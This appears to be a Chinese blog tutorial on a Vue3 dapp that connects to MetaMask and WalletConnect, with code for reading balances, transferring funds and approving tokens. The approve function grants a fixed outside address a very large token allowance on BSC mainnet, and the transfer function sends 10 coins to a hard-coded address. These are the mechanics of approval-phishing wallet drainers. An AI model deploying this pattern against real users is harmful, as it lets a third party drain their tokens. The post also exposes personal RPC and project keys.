主要实现功能: 连接钱包、获取余额、获取地址、转账、授权
大概效果就是下面这样
默认打开会请求连接小狐狸钱包连接后用户可以进行转账、授权等一系列操作
个人环境:vue3 + metamask插件 + Ganache
Ganache用来在本地测试环境中导出钱包执行转账操作
安装地址 https://trufflesuite.com/ganache/
RPC节点可以用我申请这个,也可以自己去申请
建议自己去申请
每天可以请求40k
https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/
https://getblock.io/
安装完以后进入到软件
有这样的一个界面
把链ID 和RPC 地址记下来
到小狐狸中添加网络
弄好这些以后在小狐狸中导入钱包,私钥点上面Ganache中那个小钥匙就可以显示了
导入后我们可以看到钱包余额
当然网络我们要选择我们刚刚添加本地网络
到现在为止环境就准备好了
{
"name": "web3",
"version": "0.0.0",
"private": true,
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"dependencies": {
"@wagmi/core": "^1.4.12",
"@web3modal/wagmi": "^3.5.3",
"pinia": "^2.1.7",
"sass": "^1.69.6",
"viem": "^1.21.1",
"vue": "^3.3.11",
"vue-router": "^4.2.5",
"web3": "^4.3.0"
},
"devDependencies": {
"@vitejs/plugin-vue": "^4.5.2",
"vite": "^5.0.10"
}
}
这个文件就是一个框架
配合路由实现点击标题切换到不同的页面
<script setup>
import { ref } from "vue";
import { RouterView, useRouter } from "vue-router";
const router = useRouter();
const active = ref(0);
const goMeta = () => {
active.value = 0;
router.push("/meta");
};
const goWallet = () => {
active.value = 1;
router.push("/wallet");
};
</script>
<template>
<div class="index">
<div class="nav">
<span @click="goMeta" :class="active==0?'active':''">MetaMask</span>
<span @click="goWallet" :class="active==1?'active':''">WalletConnect</span>
</div>
<div class="box">
<RouterView />
</div>
</div>
</template>
<style lang="scss" scoped>
.index {
width: 60%;
height: auto;
background: #f8f3d4;
padding: 80px;
margin: auto;
.nav {
display: flex;
justify-content: space-around;
align-items: center;
font-weight: 600;
span {
cursor: pointer;
}
.active{
color: #e84545;
border-bottom: 3px solid #e84545;
padding-bottom: 5px;
}
}
}
</style>
具体实现了连接钱包、转账、授权等操作
import { bsc20 } from “@/abi/BSC20.js”;
bsc20这个是bsc合约的abi,可以自己到区块浏览器上复制
转账我这里默认是10,需要自己修改
<script setup>
import { onMounted, ref } from "vue";
import Web3 from "web3";
import { bsc20 } from "@/abi/BSC20.js";
const content = ref("");
let web3 = new Web3();
let address = ref("");
let balance = ref("");
const connect = async () => {
if (window.ethereum) {
//用户已经安装钱包插件
window.ethereum.enable().then((res) => {
web3 = new Web3(web3.currentProvider);
if (res.length > 0) {
//至少连接了一个钱包地址
console.log("钱包链接成功");
console.log(res); //获取连接地址
address.value = res[0];
web3 = new Web3(
Web3.givenProvider || "https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/" //主网
// Web3.givenProvider || "HTTP://127.0.0.1:7545" //本地基于Ganache,授权功能实现不了
// Web3.givenProvider || "https://data-seed-prebsc-1-s1.binance.org:8545" //bsc测试网,授权功能也实现不了
);
} else {
console.log("请先链接钱包");
window.ethereum.enable(); //用户安装了钱包插件,但未连接钱包
}
});
} else {
alert("请先安装metamask钱包或使用walletconnect进行连接");
}
};
const getAddress = () => {
content.value = address.value;
};
const getBalance = async () => {
await window.ethereum
.request({
method: "eth_getBalance",
params: [address.value, "latest"],
})
.then((res) => {
balance.value = Web3.utils.fromWei(parseInt(res, 16).toString(), "ether");
content.value = balance.value;
});
};
const transfer = async () => {
const num = parseInt(web3.utils.toWei("10", "ether")); //必须要先转为数字在转16进制
const hexValue = "0x" + num.toString(16);
const transactionParams = {
from: address.value,
to: "0x6Fe2A04ABd03EB587d4a913F04e3Bbef9b7809a1",
gas: "0x5208", // 一般情况下,以太坊交易的 gas 限制是21000
value: hexValue, // 以太币数量需要16进制数据单位是wei
};
// 发送交易
ethereum
.request({
method: "eth_sendTransaction",
params: [transactionParams],
})
.then((transactionHash) => {
console.log("Transaction Hash:", transactionHash);
})
.catch((error) => {
console.error("Error:", error);
});
};
const approve = async () => { //必须要主网才可以
try {
// 检查 MetaMask 是否已安装并连接
if (window.ethereum) {
const contractAddress = "0x2170ed0880ac9a755fd29b2688956bd959f933f8"; // 合约地址
const contractAbi = bsc20; // 合约 ABI
// 合约方法名称和参数
const authorizedAddress = "0xED1d7e7AF459e82DC44CC847355d32069A9f3830"; // 授权地址
const authorizationAmount = "0x33b2e3c9fd0804000000000"; // 授权数量的十六进制表示
// 初始化合约
const contract = new web3.eth.Contract(contractAbi, contractAddress);
// 获取账户列表
// 构建交易对象
const transactionObject = {
from: address.value,
to: contractAddress,
data: contract.methods
.approve(authorizedAddress, authorizationAmount)
.encodeABI(),
};
// 发送交易请求
const result = await window.ethereum.request({
method: "eth_sendTransaction",
params: [transactionObject],
});
console.log(result);
} else {
console.error("MetaMask 提供者未找到");
}
} catch (error) {
console.error("发生错误:", error);
}
};
onMounted(() => {
connect();
});
</script>
<template>
<div class="meta">
<button @click="getAddress">获取地址</button>
<button @click="getBalance">获取余额</button>
<button @click="transfer">转账</button>
<button @click="approve">授权</button>
</div>
<span>{{ content }}</span>
</template>
<style lang="scss" scoped>
.meta {
padding: 40px;
display: flex;
justify-content: space-between;
button {
width: 75px;
height: 30px;
cursor: pointer;
}
}
span {
text-align: center;
}
</style>
通过walletconnect连接只是实现了获取地址和余额的方法
转账和授权我不太会写
官方文档暂时也还不太理解
<script setup>
import { ref, onMounted } from "vue";
import { bsc20 } from "@/abi/BSC20.js";
import Web3 from "web3";
import {
createWeb3Modal,
defaultWagmiConfig,
useWeb3Modal,
} from "@web3modal/wagmi/vue";
import { bsc, bscTestnet, mainnet, arbitrum } from "viem/chains";
import { getAccount } from "@wagmi/core";
let web3;
const content = ref("");
const address = ref("");
const balance = ref("");
const walletConnect = () => {
// 1. Get projectId at https://cloud.walletconnect.com
const projectId = "3840874bfac68f574157f707d84737bf";
// 2. Create wagmiConfig
const metadata = {
name: "Web3Modal",
description: "Web3Modal Example",
url: "https://web3modal.com",
icons: ["https://avatars.githubusercontent.com/u/37784886"],
};
const chains = [bsc, bscTestnet, mainnet, arbitrum];
const wagmiConfig = defaultWagmiConfig({ chains, projectId, metadata });
// 3. Create modal
createWeb3Modal({ wagmiConfig, projectId, chains });
const modal = useWeb3Modal();
modal.open({ view: "Account" });
web3 = new Web3(
"https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/"
);
};
const getAddress = () => {
const account = getAccount();
address.value= account.address;
content.value= address.value;
};
const getBalance = () => {
web3.eth.getBalance(address.value).then((res) => {
balance.value = Web3.utils.fromWei(res, "ether");
content.value = balance.value;
});
};
const transfer = async () => {
// 不知道应该怎么写
}
const approve = () => {};
onMounted(() => {
walletConnect();
});
</script>
<template>
<div class="wallet">
<button @click="getAddress">获取地址</button>
<button @click="getBalance">获取余额</button>
<button @click="transfer">转账</button>
<button @click="approve">授权</button>
</div>
<span>{{ content }}</span>
</template>
<style lang="scss" scoped>
.wallet {
padding: 40px;
display: flex;
justify-content: space-between;
button {
width: 75px;
height: 30px;
cursor: pointer;
}
}
span {
text-align: center;
}
</style>
1.当连接测试网和本地网络的时候不能实现授权
具体原因我也不知道
2.小狐狸官方要求使用 ethereum.request发起交易请求,使用web3.eth就会报错
eth_sendTransaction方法不存在
官方文档是纯英文的不是很能看得懂
3.使用eth_sendTransaction转账的时候要先转wei再转16进制
web3.utils.toWei("1","ether")
使用这个方法转wei得到的结果是一个字符串,必须先转成数字才可以转16进制
MetaMask 官方文档
https://docs.metamask.io/wallet/reference/json-rpc-api/